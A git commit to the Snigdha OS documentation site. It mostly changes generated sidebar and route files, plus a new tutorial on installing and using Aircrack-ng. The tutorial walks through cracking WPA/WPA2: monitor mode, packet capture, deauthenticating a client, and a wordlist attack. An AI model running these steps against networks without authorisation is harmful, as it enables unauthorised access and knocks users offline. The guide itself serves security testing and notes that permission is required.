📝 docs(new): about aircrack ng

This commit is contained in:
Eshan Roy
2024-12-05 12:58:23 +05:30
parent 63bcd553a8
commit b98ef5fe66
8 changed files with 223 additions and 6 deletions

View File

@@ -19,5 +19,9 @@
"previous": { "previous": {
"title": "Tools", "title": "Tools",
"permalink": "/documentation/category/tools" "permalink": "/documentation/category/tools"
},
"next": {
"title": "Aircrack-NG",
"permalink": "/documentation/tools/aircrack-ng"
} }
} }

View File

@@ -359,6 +359,13 @@
"href": "/documentation/tools/dns", "href": "/documentation/tools/dns",
"docId": "tools/dns", "docId": "tools/dns",
"unlisted": false "unlisted": false
},
{
"type": "link",
"label": "Aircrack-NG",
"href": "/documentation/tools/aircrack-ng",
"docId": "tools/aircrack-ng",
"unlisted": false
} }
], ],
"href": "/documentation/category/tools" "href": "/documentation/category/tools"
@@ -558,6 +565,12 @@
"description": "", "description": "",
"sidebar": "tutorialSidebar" "sidebar": "tutorialSidebar"
}, },
"tools/aircrack-ng": {
"id": "tools/aircrack-ng",
"title": "Aircrack-NG",
"description": "🔐 Aircrack-ng: A Complete Guide with Installation on Snigdha OS",
"sidebar": "tutorialSidebar"
},
"tools/dns": { "tools/dns": {
"id": "tools/dns", "id": "tools/dns",
"title": "Tool: DNS Enum", "title": "Tool: DNS Enum",

View File

@@ -884,6 +884,28 @@
"permalink": "/documentation/post_installation/customization" "permalink": "/documentation/post_installation/customization"
} }
}, },
{
"id": "tools/aircrack-ng",
"title": "Aircrack-NG",
"description": "🔐 Aircrack-ng: A Complete Guide with Installation on Snigdha OS",
"source": "@site/docs/tools/aircrack-ng.md",
"sourceDirName": "tools",
"slug": "/tools/aircrack-ng",
"permalink": "/documentation/tools/aircrack-ng",
"draft": false,
"unlisted": false,
"editUrl": "https://github.com/Snigdha-OS/documentation/tree/master/docs/tools/aircrack-ng.md",
"tags": [],
"version": "current",
"frontMatter": {
"sidebarposition": 1
},
"sidebar": "tutorialSidebar",
"previous": {
"title": "Tool: DNS Enum",
"permalink": "/documentation/tools/dns"
}
},
{ {
"id": "tools/dns", "id": "tools/dns",
"title": "Tool: DNS Enum", "title": "Tool: DNS Enum",
@@ -905,6 +927,10 @@
"previous": { "previous": {
"title": "Tools", "title": "Tools",
"permalink": "/documentation/category/tools" "permalink": "/documentation/category/tools"
},
"next": {
"title": "Aircrack-NG",
"permalink": "/documentation/tools/aircrack-ng"
} }
}, },
{ {
@@ -1346,6 +1372,10 @@
{ {
"type": "doc", "type": "doc",
"id": "tools/dns" "id": "tools/dns"
},
{
"type": "doc",
"id": "tools/aircrack-ng"
} }
], ],
"link": { "link": {

View File

@@ -170,6 +170,11 @@
"path": "/documentation/post_installation/update", "path": "/documentation/post_installation/update",
"sidebar": "tutorialSidebar" "sidebar": "tutorialSidebar"
}, },
{
"id": "tools/aircrack-ng",
"path": "/documentation/tools/aircrack-ng",
"sidebar": "tutorialSidebar"
},
{ {
"id": "tools/dns", "id": "tools/dns",
"path": "/documentation/tools/dns", "path": "/documentation/tools/dns",

View File

@@ -64,6 +64,7 @@ export default {
"content---documentation-post-installation-languagead-7-478": [() => import(/* webpackChunkName: "content---documentation-post-installation-languagead-7-478" */ "@site/docs/post_installation/language.md"), "@site/docs/post_installation/language.md", require.resolveWeak("@site/docs/post_installation/language.md")], "content---documentation-post-installation-languagead-7-478": [() => import(/* webpackChunkName: "content---documentation-post-installation-languagead-7-478" */ "@site/docs/post_installation/language.md"), "@site/docs/post_installation/language.md", require.resolveWeak("@site/docs/post_installation/language.md")],
"content---documentation-post-installation-updateffa-74d": [() => import(/* webpackChunkName: "content---documentation-post-installation-updateffa-74d" */ "@site/docs/post_installation/update.md"), "@site/docs/post_installation/update.md", require.resolveWeak("@site/docs/post_installation/update.md")], "content---documentation-post-installation-updateffa-74d": [() => import(/* webpackChunkName: "content---documentation-post-installation-updateffa-74d" */ "@site/docs/post_installation/update.md"), "@site/docs/post_installation/update.md", require.resolveWeak("@site/docs/post_installation/update.md")],
"content---documentation-privacy-policyfbb-0dc": [() => import(/* webpackChunkName: "content---documentation-privacy-policyfbb-0dc" */ "@site/src/pages/privacy_policy.md"), "@site/src/pages/privacy_policy.md", require.resolveWeak("@site/src/pages/privacy_policy.md")], "content---documentation-privacy-policyfbb-0dc": [() => import(/* webpackChunkName: "content---documentation-privacy-policyfbb-0dc" */ "@site/src/pages/privacy_policy.md"), "@site/src/pages/privacy_policy.md", require.resolveWeak("@site/src/pages/privacy_policy.md")],
"content---documentation-tools-aircrack-ng-71-e-f14": [() => import(/* webpackChunkName: "content---documentation-tools-aircrack-ng-71-e-f14" */ "@site/docs/tools/aircrack-ng.md"), "@site/docs/tools/aircrack-ng.md", require.resolveWeak("@site/docs/tools/aircrack-ng.md")],
"content---documentation-tools-dnsce-8-3f9": [() => import(/* webpackChunkName: "content---documentation-tools-dnsce-8-3f9" */ "@site/docs/tools/dns.md"), "@site/docs/tools/dns.md", require.resolveWeak("@site/docs/tools/dns.md")], "content---documentation-tools-dnsce-8-3f9": [() => import(/* webpackChunkName: "content---documentation-tools-dnsce-8-3f9" */ "@site/docs/tools/dns.md"), "@site/docs/tools/dns.md", require.resolveWeak("@site/docs/tools/dns.md")],
"content---documentation-troubleshoot-bluetooth-0-b-7-15c": [() => import(/* webpackChunkName: "content---documentation-troubleshoot-bluetooth-0-b-7-15c" */ "@site/docs/troubleshoot/bluetooth.md"), "@site/docs/troubleshoot/bluetooth.md", require.resolveWeak("@site/docs/troubleshoot/bluetooth.md")], "content---documentation-troubleshoot-bluetooth-0-b-7-15c": [() => import(/* webpackChunkName: "content---documentation-troubleshoot-bluetooth-0-b-7-15c" */ "@site/docs/troubleshoot/bluetooth.md"), "@site/docs/troubleshoot/bluetooth.md", require.resolveWeak("@site/docs/troubleshoot/bluetooth.md")],
"content---documentation-troubleshoot-displaye-2-e-7de": [() => import(/* webpackChunkName: "content---documentation-troubleshoot-displaye-2-e-7de" */ "@site/docs/troubleshoot/display.md"), "@site/docs/troubleshoot/display.md", require.resolveWeak("@site/docs/troubleshoot/display.md")], "content---documentation-troubleshoot-displaye-2-e-7de": [() => import(/* webpackChunkName: "content---documentation-troubleshoot-displaye-2-e-7de" */ "@site/docs/troubleshoot/display.md"), "@site/docs/troubleshoot/display.md", require.resolveWeak("@site/docs/troubleshoot/display.md")],

View File

@@ -79,15 +79,15 @@ export default [
}, },
{ {
path: '/documentation/', path: '/documentation/',
component: ComponentCreator('/documentation/', '3af'), component: ComponentCreator('/documentation/', '20b'),
routes: [ routes: [
{ {
path: '/documentation/', path: '/documentation/',
component: ComponentCreator('/documentation/', '6df'), component: ComponentCreator('/documentation/', '175'),
routes: [ routes: [
{ {
path: '/documentation/', path: '/documentation/',
component: ComponentCreator('/documentation/', '82d'), component: ComponentCreator('/documentation/', '5ea'),
routes: [ routes: [
{ {
path: '/documentation/before_installation/imporatnt_notes', path: '/documentation/before_installation/imporatnt_notes',
@@ -329,6 +329,12 @@ export default [
exact: true, exact: true,
sidebar: "tutorialSidebar" sidebar: "tutorialSidebar"
}, },
{
path: '/documentation/tools/aircrack-ng',
component: ComponentCreator('/documentation/tools/aircrack-ng', 'd77'),
exact: true,
sidebar: "tutorialSidebar"
},
{ {
path: '/documentation/tools/dns', path: '/documentation/tools/dns',
component: ComponentCreator('/documentation/tools/dns', '2cf'), component: ComponentCreator('/documentation/tools/dns', '2cf'),

View File

@@ -113,17 +113,17 @@
}, },
"content": "content---documentation-privacy-policyfbb-0dc" "content": "content---documentation-privacy-policyfbb-0dc"
}, },
"/documentation/-3af": { "/documentation/-20b": {
"__comp": "__comp---theme-docs-root-5-e-9-0b6", "__comp": "__comp---theme-docs-root-5-e-9-0b6",
"__context": { "__context": {
"plugin": "plugin---documentation-ed-9-690" "plugin": "plugin---documentation-ed-9-690"
} }
}, },
"/documentation/-6df": { "/documentation/-175": {
"__comp": "__comp---theme-doc-version-roota-7-b-5de", "__comp": "__comp---theme-doc-version-roota-7-b-5de",
"version": "version---documentation-935-548" "version": "version---documentation-935-548"
}, },
"/documentation/-82d": { "/documentation/-5ea": {
"__comp": "__comp---theme-doc-roota-94-67a" "__comp": "__comp---theme-doc-roota-94-67a"
}, },
"/documentation/before_installation/imporatnt_notes-89a": { "/documentation/before_installation/imporatnt_notes-89a": {
@@ -286,6 +286,10 @@
"__comp": "__comp---theme-doc-item-178-a40", "__comp": "__comp---theme-doc-item-178-a40",
"content": "content---documentation-post-installation-updateffa-74d" "content": "content---documentation-post-installation-updateffa-74d"
}, },
"/documentation/tools/aircrack-ng-d77": {
"__comp": "__comp---theme-doc-item-178-a40",
"content": "content---documentation-tools-aircrack-ng-71-e-f14"
},
"/documentation/tools/dns-2cf": { "/documentation/tools/dns-2cf": {
"__comp": "__comp---theme-doc-item-178-a40", "__comp": "__comp---theme-doc-item-178-a40",
"content": "content---documentation-tools-dnsce-8-3f9" "content": "content---documentation-tools-dnsce-8-3f9"

154
docs/tools/aircrack-ng.md Normal file
View File

@@ -0,0 +1,154 @@
---
sidebarposition: 1
---
# Aircrack-NG
### 🔐 **Aircrack-ng: A Complete Guide with Installation on Snigdha OS**
**Aircrack-ng** is a powerful suite of tools used for monitoring, testing, cracking, and securing Wi-Fi networks. This guide will cover how to install Aircrack-ng on Snigdha OS and explain its key tools. Lets dive in! 🚀
---
### 🛠️ **How to Install Aircrack-ng on Snigdha OS**
1. **Update Your System**:
Always ensure your system is up-to-date before installing new software:
```bash
sudo pacman -Syu
```
2. **Install Aircrack-ng**:
Aircrack-ng is available in the official Snigdha OS repositories:
```bash
sudo pacman -S aircrack-ng
```
3. **Verify Installation**:
Check that Aircrack-ng is installed correctly by running:
```bash
aircrack-ng --help
```
If installed successfully, you'll see a list of commands and options. ✅
---
### 🧰 **Aircrack-ng Tools Overview**
The Aircrack-ng suite includes several tools for various purposes:
1. **Airmon-ng (Monitor Mode Enabler) 🛰️**
Enables monitor mode on your wireless network interface.
**Usage**:
```bash
sudo airmon-ng start wlan0
```
This sets your `wlan0` device to monitor mode, allowing you to capture Wi-Fi traffic.
2. **Airodump-ng (Packet Capture) 📡**
Captures packets and displays information about nearby wireless networks.
**Usage**:
```bash
sudo airodump-ng wlan0mon
```
Replace `wlan0mon` with your monitor-enabled interface. It displays SSIDs, BSSIDs, channels, and more.
3. **Aireplay-ng (Packet Injection) 🎯**
Injects packets to test network security or deauthenticate clients.
**Usage**:
Deauthenticate a client to capture a handshake:
```bash
sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```
- `<BSSID>`: MAC address of the target access point.
- `<CLIENT_MAC>`: MAC address of the client.
4. **Aircrack-ng (Password Cracker) 🔓**
Cracks WPA/WPA2 passwords using captured handshakes.
**Usage**:
```bash
aircrack-ng -w wordlist.txt -b <BSSID> capture_file.cap
```
- `wordlist.txt`: File containing potential passwords.
- `capture_file.cap`: Packet capture file with the handshake.
5. **Airdecap-ng (Decrypt Packets) 🔐**
Decrypts WEP/WPA-encrypted packets after obtaining keys.
**Usage**:
```bash
airdecap-ng -w <WPA_KEY> capture_file.cap
```
---
### 🔍 **Example Workflow: Cracking WPA/WPA2**
1. **Enable Monitor Mode**:
Start monitoring with Airmon-ng:
```bash
sudo airmon-ng start wlan0
```
2. **Capture Packets**:
Use Airodump-ng to scan for networks:
```bash
sudo airodump-ng wlan0mon
```
Focus on a target by capturing packets on its channel:
```bash
sudo airodump-ng --bssid <BSSID> --channel <CHANNEL> --write capture wlan0mon
```
3. **Deauthenticate a Client**:
Force a client to reconnect to capture the WPA handshake:
```bash
sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```
4. **Crack the Handshake**:
Use Aircrack-ng with a wordlist to crack the password:
```bash
aircrack-ng -w wordlist.txt -b <BSSID> capture-01.cap
```
---
### ⚠️ **Important Notes**
1. **Ethical Use Only**:
Always obtain explicit permission before testing any network. Unauthorized use is illegal.
2. **Hardware Compatibility**:
Ensure your wireless card supports monitor mode and packet injection. Popular chipsets include **Atheros** and **Realtek**.
3. **Wordlist Quality**:
Cracking success depends on your wordlist. Use comprehensive wordlists like `rockyou.txt` or generate custom ones.
4. **Alternative Tools**:
Combine Aircrack-ng with tools like **hashcat** for advanced cracking.
---
### 🚀 **Resources and Further Learning**
- [Official Aircrack-ng Documentation](https://aircrack-ng.org/)
- Tutorials on ethical Wi-Fi testing and network security.
---
By following this guide, youre equipped to install and use Aircrack-ng effectively. Remember to use these tools responsibly and ethically. Happy testing! 🎉